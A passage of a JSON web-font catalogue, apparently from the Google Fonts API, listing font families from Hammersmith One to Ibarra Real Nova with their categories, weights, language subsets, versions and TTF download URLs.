        "regular": "http://fonts.gstatic.com/s/hammersmithone/v10/qWcyB624q4L_C4jGQ9IK0O_dFlnbshsks4MRXw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hanalei",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-09-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/hanalei/v10/E21n_dD8iufIjBRHXzgmVydREus.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hanalei Fill",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/hanaleifill/v8/fC1mPYtObGbfyQznIaQzPQiMVwLBplm9aw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Handlee",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/handlee/v8/-F6xfjBsISg9aMakDmr6oilJ3ik.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hanuman",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/hanuman/v13/VuJxdNvD15HhpJJBeKbXOIFneRo.ttf",
        "700": "http://fonts.gstatic.com/s/hanuman/v13/VuJ0dNvD15HhpJJBQBr4HIlMZRNcp0o.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Happy Monkey",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/happymonkey/v8/K2F2fZZcl-9SXwl5F_C4R_OABwD2bWqVjw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Harmattan",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/harmattan/v6/goksH6L2DkFvVvRp9XpTS0CjkP1Yog.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Headland One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/headlandone/v7/yYLu0hHR2vKnp89Tk1TCq3Tx0PlTeZ3mJA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Heebo",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "hebrew",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-22",
      "files": {
        "100": "http://fonts.gstatic.com/s/heebo/v5/NGS0v5_NC0k9P9mVTbRhtKMByaw.ttf",
        "300": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9ldb5RLmq8I0LVF.ttf",
        "regular": "http://fonts.gstatic.com/s/heebo/v5/NGS6v5_NC0k9P-HxR7BDsbMB.ttf",
        "500": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9kFbpRLmq8I0LVF.ttf",
        "700": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9lNaJRLmq8I0LVF.ttf",
        "800": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9lRa5RLmq8I0LVF.ttf",
        "900": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9l1apRLmq8I0LVF.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Henny Penny",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/hennypenny/v7/wXKvE3UZookzsxz_kjGSfMQqt3M7tMDT.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hepta Slab",
      "category": "serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2020-02-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5jfbY5B0NBkz.ttf",
        "200": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV5zfbY5B0NBkz.ttf",
        "300": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvlL5zfbY5B0NBkz.ttf",
        "regular": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5zfbY5B0NBkz.ttf",
        "500": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvkn5zfbY5B0NBkz.ttf",
        "600": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvnL4DfbY5B0NBkz.ttf",
        "700": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvny4DfbY5B0NBkz.ttf",
        "800": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV4DfbY5B0NBkz.ttf",
        "900": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvm84DfbY5B0NBkz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Herr Von Muellerhoff",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/herrvonmuellerhoff/v9/WBL6rFjRZkREW8WqmCWYLgCkQKXb4CAft3c6_qJY3QPQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hi Melody",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/himelody/v8/46ktlbP8Vnz0pJcqCTbEf29E31BBGA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hind",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-22",
      "files": {
        "300": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfMJaIRuYjDpf5Vw.ttf",
        "regular": "http://fonts.gstatic.com/s/hind/v10/5aU69_a8oxmIRG5yBROzkDM.ttf",
        "500": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfJpbIRuYjDpf5Vw.ttf",
        "600": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfLZcIRuYjDpf5Vw.ttf",
        "700": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfNJdIRuYjDpf5Vw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hind Guntur",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "telugu",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_yGn1czn9zaj5Ju.ttf",
        "regular": "http://fonts.gstatic.com/s/hindguntur/v5/wXKvE3UZrok56nvamSuJd8Qqt3M7tMDT.ttf",
        "500": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_zenlczn9zaj5Ju.ttf",
        "600": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_zymVczn9zaj5Ju.ttf",
        "700": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_yWmFczn9zaj5Ju.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hind Madurai",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfXaUnecsoMJ0b_g.ttf",
        "regular": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xx0e2p98ZvDXdZQIOcpqjn8Y0DceA0OQ.ttf",
        "500": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfBaQnecsoMJ0b_g.ttf",
        "600": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfKaMnecsoMJ0b_g.ttf",
        "700": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfTaInecsoMJ0b_g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hind Siliguri",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "bengali",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRDf44uEfKiGvxts.ttf",
        "regular": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwTs5juQtsyLLR5jN4cxBEofJvQxuk0Nig.ttf",
        "500": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRG_54uEfKiGvxts.ttf",
        "600": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoREP-4uEfKiGvxts.ttf",
        "700": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRCf_4uEfKiGvxts.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Hind Vadodara",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSDn3iXM0oSOL2Yw.ttf",
        "regular": "http://fonts.gstatic.com/s/hindvadodara/v6/neINzCKvrIcn5pbuuuriV9tTcJXfrXsfvSo.ttf",
        "500": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSGH2iXM0oSOL2Yw.ttf",
        "600": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSE3xiXM0oSOL2Yw.ttf",
        "700": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSCnwiXM0oSOL2Yw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Holtwood One SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/holtwoodonesc/v10/yYLx0hLR0P-3vMFSk1TCq3Txg5B3cbb6LZttyg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Homemade Apple",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/homemadeapple/v10/Qw3EZQFXECDrI2q789EKQZJob3x9Vnksi4M7.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Homenaje",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/homenaje/v9/FwZY7-Q-xVAi_l-6Ld6A4sijpFu_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IBM Plex Mono",
      "category": "monospace",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6pfjptAgt5VM-kVkqdyU8n3kwq0n1hj-sNFQ.ttf",
        "100italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6rfjptAgt5VM-kVkqdyU8n1ioStndlre4dFcFh.ttf",
        "200": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3uAL8ldPg-IUDNg.ttf",
        "200italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSGlZFh8ARHNh4zg.ttf",
        "300": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3oQI8ldPg-IUDNg.ttf",
        "300italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSflVFh8ARHNh4zg.ttf",
        "regular": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F63fjptAgt5VM-kVkqdyU8n5igg1l9kn-s.ttf",
        "italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6pfjptAgt5VM-kVkqdyU8n1ioq0n1hj-sNFQ.ttf",
        "500": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3twJ8ldPg-IUDNg.ttf",
        "500italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSJlRFh8ARHNh4zg.ttf",
        "600": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3vAO8ldPg-IUDNg.ttf",
        "600italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSClNFh8ARHNh4zg.ttf",
        "700": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3pQP8ldPg-IUDNg.ttf",
        "700italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSblJFh8ARHNh4zg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IBM Plex Sans",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX-KVElMYYaJe8bpLHnCwDKjbLeEKxIedbzDw.ttf",
        "100italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX8KVElMYYaJe8bpLHnCwDKhdTmdKZMW9PjD3N8.ttf",
        "200": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjR7_MIZmdd_qFmo.ttf",
        "200italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTm2Idscf3vBmpl8A.ttf",
        "300": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjXr8MIZmdd_qFmo.ttf",
        "300italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmvIRscf3vBmpl8A.ttf",
        "regular": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYXgKVElMYYaJe8bpLHnCwDKtdbUFI5NadY.ttf",
        "italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX-KVElMYYaJe8bpLHnCwDKhdTeEKxIedbzDw.ttf",
        "500": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjSL9MIZmdd_qFmo.ttf",
        "500italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTm5IVscf3vBmpl8A.ttf",
        "600": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjQ76MIZmdd_qFmo.ttf",
        "600italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmyIJscf3vBmpl8A.ttf",
        "700": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjWr7MIZmdd_qFmo.ttf",
        "700italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmrINscf3vBmpl8A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IBM Plex Sans Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY7KyKvBgYsMDhM.ttf",
        "100italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8hN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8M_LhakJHhOgBg.ttf",
        "200": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5m6Yvrr4cFFwq5.ttf",
        "200italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8GPqpYMnEhq5H1w.ttf",
        "300": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4C6ovrr4cFFwq5.ttf",
        "300italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8AfppYMnEhq5H1w.ttf",
        "regular": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8lN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHbauwq_jhJsM.ttf",
        "italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYasyKvBgYsMDhM.ttf",
        "500": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5a64vrr4cFFwq5.ttf",
        "500italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8F_opYMnEhq5H1w.ttf",
        "600": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY527Ivrr4cFFwq5.ttf",
        "600italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8HPvpYMnEhq5H1w.ttf",
        "700": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4S7Yvrr4cFFwq5.ttf",
        "700italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8BfupYMnEhq5H1w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IBM Plex Serif",
      "category": "serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizBREVNn1dOx-zrZ2X3pZvkTi182zIZj1bIkNo.ttf",
        "100italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizHREVNn1dOx-zrZ2X3pZvkTiUa41YTi3TNgNq55w.ttf",
        "200": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3Q-hIzoVrBicOg.ttf",
        "200italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4_oyq17jjNOg_oc.ttf",
        "300": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi20-RIzoVrBicOg.ttf",
        "300italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa454xq17jjNOg_oc.ttf",
        "regular": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizDREVNn1dOx-zrZ2X3pZvkThUY0TY7ikbI.ttf",
        "italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizBREVNn1dOx-zrZ2X3pZvkTiUa2zIZj1bIkNo.ttf",
        "500": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3s-BIzoVrBicOg.ttf",
        "500italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa48Ywq17jjNOg_oc.ttf",
        "600": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3A_xIzoVrBicOg.ttf",
        "600italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4-o3q17jjNOg_oc.ttf",
        "700": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi2k_hIzoVrBicOg.ttf",
        "700italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4442q17jjNOg_oc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell DW Pica",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfelldwpica/v9/2sDGZGRQotv9nbn2qSl0TxXVYNw9ZAPUvi88MQ.ttf",
        "italic": "http://fonts.gstatic.com/s/imfelldwpica/v9/2sDEZGRQotv9nbn2qSl0TxXVYNwNZgnQnCosMXm0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell DW Pica SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfelldwpicasc/v9/0ybjGCAu5PfqkvtGVU15aBhXz3EUrnTW-BiKEUiBGA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell Double Pica",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfelldoublepica/v9/3XF2EqMq_94s9PeKF7Fg4gOKINyMtZ8rT0S1UL5Ayp0.ttf",
        "italic": "http://fonts.gstatic.com/s/imfelldoublepica/v9/3XF0EqMq_94s9PeKF7Fg4gOKINyMtZ8rf0a_VJxF2p2G8g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell Double Pica SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfelldoublepicasc/v9/neIazDmuiMkFo6zj_sHpQ8teNbWlwBB_hXjJ4Y0Eeru2dGg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell English",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfellenglish/v9/Ktk1ALSLW8zDe0rthJysWrnLsAz3F6mZVY9Y5w.ttf",
        "italic": "http://fonts.gstatic.com/s/imfellenglish/v9/Ktk3ALSLW8zDe0rthJysWrnLsAzHFaOdd4pI59zg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell English SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfellenglishsc/v9/a8IENpD3CDX-4zrWfr1VY879qFF05pZLO4gOg0shzA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell French Canon",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfellfrenchcanon/v9/-F6ufiNtDWYfYc-tDiyiw08rrghJszkK6coVPt1ozoPz.ttf",
        "italic": "http://fonts.gstatic.com/s/imfellfrenchcanon/v9/-F6gfiNtDWYfYc-tDiyiw08rrghJszkK6foXNNlKy5PzzrU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell French Canon SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfellfrenchcanonsc/v9/FBVmdCru5-ifcor2bgq9V89khWcmQghEURY7H3c0UBCVIVqH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell Great Primer",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfellgreatprimer/v9/bx6aNwSJtayYxOkbYFsT6hMsLzX7u85rJorXvDo3SQY1.ttf",
        "italic": "http://fonts.gstatic.com/s/imfellgreatprimer/v9/bx6UNwSJtayYxOkbYFsT6hMsLzX7u85rJrrVtj4VTBY1N6U.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "IM Fell Great Primer SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imfellgreatprimersc/v9/ga6daxBOxyt6sCqz3fjZCTFCTUDMHagsQKdDTLf9BXz0s8FG.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ibarra Real Nova",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlfdQiA-DBIDCcaWtQzL4BZHoiDoHxSENxuLuE.ttf",
        "italic": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlZdQiA-DBIDCcaWtQzL4BZHoiDkH5YFP5rPuF6EA.ttf",
        "600": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlYdQiA-DBIDCcaWtQzL4BZHoiDmKR8NNRFMuhjCXY.ttf",
        "600italic": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZladQiA-DBIDCcaWtQzL4BZHoiDkH5gzNBPNspmGXawpg.ttf",
        "700": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlYdQiA-DBIDCcaWtQzL4BZHoiDmMB9NNRFMuhjCXY.ttf",
